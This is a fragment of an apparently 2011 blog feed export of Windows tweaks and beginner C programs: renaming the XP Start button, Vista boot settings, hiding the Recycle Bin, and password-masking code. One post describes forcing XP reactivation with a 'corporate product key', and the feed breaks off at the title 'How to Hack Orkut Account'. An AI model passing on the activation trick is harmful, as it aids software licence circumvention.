if(flag!=1)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;if(tch&amp;gt;0)&lt;/div&gt;&lt;div&gt;fputc(tch,b);&lt;/div&gt;&lt;div&gt;if(tch1&amp;gt;0)&lt;/div&gt;&lt;div&gt;fputc(tch1,b);&lt;/div&gt;&lt;div&gt;tch1=NULL;&lt;/div&gt;&lt;div&gt;tch=NULL;&lt;/div&gt;&lt;div&gt;count=0,count1=0,count2=0;&lt;/div&gt;&lt;div&gt;fputc(ch,b);&lt;/div&gt;&lt;div&gt;flag1=0,flag=0;&lt;/div&gt;&lt;div&gt;}&lt;br /&gt;
}&lt;br /&gt;
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);&lt;/div&gt;&lt;div&gt;fcloseall();&lt;/div&gt;&lt;div&gt;getch();&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/7628561083134606670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-remove-comments-and-blank.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7628561083134606670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/7628561083134606670'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-remove-comments-and-blank.html' title='C Program to Remove Comments and Blank lines from a valid C Program'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-6491740470213750013</id><published>2011-07-05T03:39:00.001-07:00</published><updated>2011-07-05T03:39:31.178-07:00</updated><title type='text'>Renaming Win XP Start Menu Button</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-554&quot; height=&quot;300&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/xp_start_menu1-250x300.jpg&quot; title=&quot;WIn XP Start Menu&quot; width=&quot;250&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This guide will show you how to edit/rename the Windows XP start menu button. Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;h3&gt;STEP 1: BYPASSING WINDOWS FILE PROTECTION&lt;/h3&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Launch My Computer, click tools, folder options, then view&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Select show all hidden files and folders option and uncheck the option &lt;strong&gt;hide protected operating system files&lt;/strong&gt;, unckeck &lt;strong&gt;hide extention for known file types&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Goto &lt;strong&gt;C:\windows\system32\restore&lt;/strong&gt;, select the file &lt;strong&gt;filelist.xml&lt;/strong&gt;, right click it go to properties and uncheck the option &lt;strong&gt;read-only&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Open it (filelist.xml) with notepad&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. Add the line &lt;strong&gt;&amp;lt;rec&amp;gt;%systemroot%\explorer.exe&amp;lt;/rec&amp;gt;&lt;/strong&gt; as shown below&lt;/div&gt;&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-66&quot;&gt;&amp;lt;exclude&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt;%systemroot%\explorer.exe&amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt; %windir%\system.ini&amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt; %windir%\tasks\desktop.ini&amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt; %windir%\win.ini&amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt; *:\AUTOEXEC.BAT &amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt;*:\CONFIG.MSI&amp;lt;/rec&amp;gt;&lt;br /&gt;
&amp;lt;rec&amp;gt; *:\CONFIG.SYS &amp;lt;/rec&amp;gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Save the file&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;7. Goto &lt;strong&gt;C:\windows\system32\dllcache&lt;/strong&gt;, you will find a backup copy of &lt;strong&gt;explorer.exe&lt;/strong&gt;. Rename it to &lt;strong&gt;explorer.bak&lt;/strong&gt;.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;h3&gt;STEP 2: CHANGING THE NAME OF START BUTTON&lt;/h3&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Using &lt;a href=&quot;http://angusj.com/resourcehacker/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Resource Hacker&lt;/a&gt;, open the file &lt;strong&gt;explorer.exe&lt;/strong&gt; located at &lt;strong&gt;C:\windows&lt;/strong&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Expand string, expand &lt;strong&gt;37&lt;/strong&gt;, click on &lt;strong&gt;1033&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. On right side raname “start” to anything you want. For ex. “yourname” and press “compile script”&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Repeat the same procedure for string &lt;strong&gt;38&lt;/strong&gt;, &lt;strong&gt;1033&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. Save changes in file menu (if error occurs close explorer.exe and repeat sub-step 3 and 4)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Restart your computer. After restart you can see the changes. Enjoy!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/6491740470213750013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/renaming-win-xp-start-menu-button.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6491740470213750013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/6491740470213750013'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/renaming-win-xp-start-menu-button.html' title='Renaming Win XP Start Menu Button'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2614807739613138955</id><published>2011-07-05T03:34:00.001-07:00</published><updated>2011-07-05T03:34:54.926-07:00</updated><title type='text'>Modifying the Vista Operating System Boot</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-130&quot; height=&quot;314&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/vista-aurora-boot-screen2.jpg&quot; title=&quot;Win Vista Boot&quot; width=&quot;448&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You can use several different tricks to shave a few more seconds off the boot time. For example, you can reduce Timeout values and slim down the system to get rid of all the extra features and services that you do not use or need. Check out the following ways to do so.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;h3&gt;Windows Boot Manager&lt;/h3&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you have more than one operating system installed on your computer, you’ll have to deal with the Windows Boot Manager installed by Windows Vista. By default, the Windows Boot Manager gives you 30 seconds to select an operating system before it reverts to the default operating system. The only way not to wait 30 seconds is to select the operating system you want to use right away. If you use one operating system the majority of your time, you will definitely save time if you set that operating system as the default and lower the Timeout value to 1 or 2 seconds. That way, you will not have to select an operating system every time you turn on your system or wait 30 seconds before your computer actually starts to load the operating system.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;strong&gt;Tip&lt;/strong&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;Before you make any changes to the Windows Boot Manager (WBM), it is a good idea to back it up using the Boot Configuration Data Editor (bcdedit.exe) so that you can easily revert back to an earlier version should you have any problems. At a command prompt running under an administrator account, type &lt;strong&gt;bcdedit /export&lt;/strong&gt; &lt;strong&gt;“C:\Backup File”&lt;/strong&gt;. This will save the WBM to a file that you can use to import using the /import flag.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;h3&gt;Lowering OS Timeout values&lt;/h3&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As mentioned earlier, if you have multiple operating systems installed on your computer and the Windows Boot Manager is installed, the default selection timeout is often way too high. It is much better to set a lower timeout so that if you do not make a selection, it quickly reverts to the default OS, making your boot time much faster.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Changing the Timeout value is simple with the System Configuration utility. Follow the steps here to use the System Configuration utility to lower the OS Timeout value:&lt;/div&gt;&lt;ol style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Click the Start button, type msconfig in the Search box, and press Enter.&lt;/li&gt;
&lt;li&gt;When the System Configuration utility loads, click the Boot tab.&lt;/li&gt;
&lt;li&gt;Locate the Timeout box and replace 30 with a much lower value. I recommend you use between 2 and 5. I use 2 because that gives me just the right amount of time to press a key on my keyboard when the Windows Boot Manager is displayed on the screen.&lt;/li&gt;
&lt;li&gt;After the value has been updated, click OK to exit.&lt;/li&gt;
&lt;/ol&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now that the Timeout value has been updated, the Boot menu will no longer increase your system startup time. Even though this is a simple tip, it really helps a lot on systems that have multiple operating systems installed. Now let’s look at setting the default operating system on the Windows Boot Manager.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;h3&gt;Setting the default OS&lt;/h3&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In the preceding section, I set a new Timeout value that will cut down on the amount of time that is wasted before the operating system starts to load. That works great when your primary operating system is the default; but if it is not, you must remember to press a key at the right moment on every single boot. There is a much better way to handle the situation. Just make your primary operating system the default operating system in the Windows Boot Manager. This will allow you to benefit from the lower Timeout value and speed up the overall boot time.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Setting the default operating system is a little more difficult because you need to use the command-line Boot Configuration Editor, bcdedit.exe. The Boot Configuration Editor is part of Windows Vista, but it requires an account with administrative rights to run. Even if you are logged in with an account that has administrator rights but have user account control enabled, by default the tool will not run as administrator. Follow these steps to use the Boot Configuration Editor to set the default operating system:&lt;/div&gt;&lt;ol style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Click the Start button and navigate through All Programs and Accessories.&lt;/li&gt;
&lt;li&gt;Locate the Command Prompt shortcut and right-click it to bring up the context menu.&lt;/li&gt;
&lt;li&gt;Select Run as administrator from the context menu.&lt;/li&gt;
&lt;li&gt;When the command prompt has loaded, you are ready to use the bcdedit.exe command. First, you need to get the ID of the operating system that you want to set as the default. To do this, type &lt;strong&gt;bcdedit /enum all&lt;/strong&gt; in the open command prompt window. Scroll through the list of different entries and look for the one with the description matching “Microsoft Windows” for Windows Vista.&lt;/li&gt;
&lt;li&gt;After you have found the correct entry, note its identifier. That is used in the next step.&lt;/li&gt;
&lt;li&gt;While still at the command prompt, run &lt;strong&gt;bcdedit /default (entry identifier)&lt;/strong&gt;. For example, I ran bcdedit /default {}.&lt;/li&gt;
&lt;/ol&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The default operating system on the Window Boot Manager is now set. The next time you reboot, your changes will be in use.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;strong&gt;Tip&lt;/strong&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;The Boot Configuration Editor is a powerful utility that you can also use to change many other settings of the Windows Boot Manager. Experiment with bcdedit.exe by running bcdedit /? from command prompt. This will show you all the other available options and flags that you can use with the Boot Configuration Editor.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2614807739613138955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/modifying-vista-operating-system-boot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2614807739613138955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2614807739613138955'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/modifying-vista-operating-system-boot.html' title='Modifying the Vista Operating System Boot'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-3729865675332782137</id><published>2011-07-05T03:32:00.001-07:00</published><updated>2011-07-05T03:32:59.587-07:00</updated><title type='text'>Program To Print A String Without Using Any Output Statements</title><content type='html'>&lt;img alt=&quot;&quot; class=&quot;alignleft&quot; height=&quot;125&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg&quot; width=&quot;158&quot; /&gt;&lt;br /&gt;
This program can be used to print a string without using any output statements such as printf, puts etc. However this program only works in 16-bit mode since it directly writes to VDU Memory&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-1065&quot;&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include&amp;lt;conio.h&amp;gt;&lt;br /&gt;
char str[]=”Hello Srikanth”;&lt;br /&gt;
char far *v=(char far *)0xb8000000;&lt;br /&gt;
void main()&lt;br /&gt;
{&lt;br /&gt;
int i;&lt;br /&gt;
for(i=0;i&amp;lt;14;i++)&lt;br /&gt;
{&lt;br /&gt;
*v=str[i];&lt;br /&gt;
v+=2;&lt;br /&gt;
}&lt;br /&gt;
getch();&lt;br /&gt;
}&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/3729865675332782137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/program-to-print-string-without-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/3729865675332782137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/3729865675332782137'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/program-to-print-string-without-using.html' title='Program To Print A String Without Using Any Output Statements'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-5537252137767479725</id><published>2011-07-05T03:31:00.001-07:00</published><updated>2011-07-05T04:05:01.981-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>C Program to display the No. of Digits in an Entered Number</title><content type='html'>&lt;img alt=&quot;&quot; class=&quot;alignnone&quot; height=&quot;125&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg&quot; width=&quot;158&quot; /&gt;&lt;br /&gt;
This program displays the number of digits present in the number that is entered through the input.&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-2184&quot;&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include&amp;lt;conio.h&amp;gt; void main()&lt;br /&gt;
{&lt;br /&gt;
unsigned long int num;&lt;br /&gt;
int i=0;&lt;br /&gt;
clrscr();&lt;br /&gt;
printf(“Enter the digit\n”);&lt;br /&gt;
scanf(“%lu”,&amp;amp;num);&lt;br /&gt;
while(num!=0)&lt;br /&gt;
{&lt;br /&gt;
num=num/10;&lt;br /&gt;
++i;&lt;br /&gt;
}&lt;br /&gt;
printf(“Length=%d”,i);&lt;br /&gt;
getch();&lt;br /&gt;
}&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/5537252137767479725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-display-no-of-digits-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/5537252137767479725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/5537252137767479725'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-display-no-of-digits-in.html' title='C Program to display the No. of Digits in an Entered Number'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-1085956472978233245</id><published>2011-07-05T03:30:00.001-07:00</published><updated>2011-07-05T03:30:48.179-07:00</updated><title type='text'>Get Rid of the Recycle Bin on your Desktop</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;alignleft size-medium wp-image-478&quot; height=&quot;169&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/recyclebin.jpg&quot; title=&quot;recyclebin&quot; width=&quot;250&quot; /&gt;Here is a way to remove the recycle bin from your desktop. This trick help’s people who want to get rid of the recycle bin on the desktop.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Goto start, Run, Type “gpedit.msc” (Type without quotes)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. On the left panel, under &lt;strong&gt;User Configuration &lt;/strong&gt;expand the tree&lt;strong&gt; Administrative templates&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Click on the subtree desktop (single click, do not expand it)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. On the right panel, Select the option-Remove Recycle Bin icon from desktop properties&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. Double click the option, on the settings tab just select the option enabled, press OK &amp;amp; exit the window.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Refesh the desktop (press F5), Your Recycle Bin vanishous. If not you need to logout and then re-login.&lt;/div&gt;&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-401&quot;&gt;&lt;strong&gt;NOTE: This trick works on Win XP, Vista and Win 7&lt;/strong&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/1085956472978233245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/get-rid-of-recycle-bin-on-your-desktop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/1085956472978233245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/1085956472978233245'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/get-rid-of-recycle-bin-on-your-desktop.html' title='Get Rid of the Recycle Bin on your Desktop'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-5235927259741457497</id><published>2011-07-05T03:27:00.005-07:00</published><updated>2011-07-05T03:27:21.672-07:00</updated><title type='text'>Changing Windows XP Product Key without Re-Installation</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-thumbnail wp-image-471  alignleft&quot; height=&quot;150&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/xp-key-150x150.jpg&quot; title=&quot;xp-key&quot; width=&quot;150&quot; /&gt;This trick will show you how to change Windows XP product key without re-installing the operating system. This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Goto start menu, run, type regedit&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. In registry editor goto&lt;/div&gt;&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-1185&quot;&gt;&lt;strong&gt;HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION\WPA EVENTS&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. In the right panel open OOBE Timer&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Edit/Change atleast one entry there, press OK and close registry editor.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. In run type the following command&lt;/div&gt;&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-5853&quot;&gt;&lt;strong&gt;%systemroot%\system32\oobe\msoobe /a&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;and press enter&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Activation wizard appears&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;7. Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY, enter a valid corporate product key, press OK and close the wizard&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;8. Reboot the computer and type the same command in the Run&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;9. Activation wizard appears again and it shows the message &lt;strong&gt;WINDOWS IS ALREADY ACTIVATED&lt;/strong&gt;.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/5235927259741457497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/changing-windows-xp-product-key-without.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/5235927259741457497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/5235927259741457497'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/changing-windows-xp-product-key-without.html' title='Changing Windows XP Product Key without Re-Installation'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2209828508584300676</id><published>2011-07-05T03:25:00.001-07:00</published><updated>2011-07-05T04:05:01.982-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>C Program To Accept Password</title><content type='html'>&lt;img alt=&quot;&quot; class=&quot;alignleft&quot; height=&quot;125&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/c.jpg&quot; width=&quot;158&quot; /&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-8354&quot;&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include&amp;lt;conio.h&amp;gt; char pw[25],ch;&lt;br /&gt;
int i;&lt;br /&gt;
void main()&lt;br /&gt;
{&lt;br /&gt;
clrscr();&lt;br /&gt;
puts(“Enter password”);&lt;br /&gt;
while(1)&lt;br /&gt;
{&lt;br /&gt;
if(i&amp;lt;0)&lt;br /&gt;
i=0;&lt;br /&gt;
ch=getch();&lt;br /&gt;
if(ch==13)&lt;br /&gt;
break; /*13 is ASCII value of ENTER*/&lt;br /&gt;
if(ch==8) /*ASCII value of BACKSPACE*/&lt;br /&gt;
{&lt;br /&gt;
putch(‘\b’);&lt;br /&gt;
putch(NULL);&lt;br /&gt;
putch(‘\b’);&lt;br /&gt;
–i;&lt;br /&gt;
continue;&lt;br /&gt;
}&lt;br /&gt;
pw[i++]=ch;&lt;br /&gt;
ch=’*&#39;;&lt;br /&gt;
putch(ch);&lt;br /&gt;
}&lt;br /&gt;
pw[i]=’\0′;&lt;br /&gt;
printf(“\n\n%s”,pw);&lt;br /&gt;
getch();&lt;br /&gt;
}&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2209828508584300676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-accept-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2209828508584300676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2209828508584300676'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/c-program-to-accept-password.html' title='C Program To Accept Password'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-2239557895860535970</id><published>2011-07-05T03:23:00.000-07:00</published><updated>2011-07-05T03:23:22.847-07:00</updated><title type='text'>How to Hack Orkut Account</title><content type='html'>&lt;h1 style=&quot;text-align: center;&quot;&gt;How To 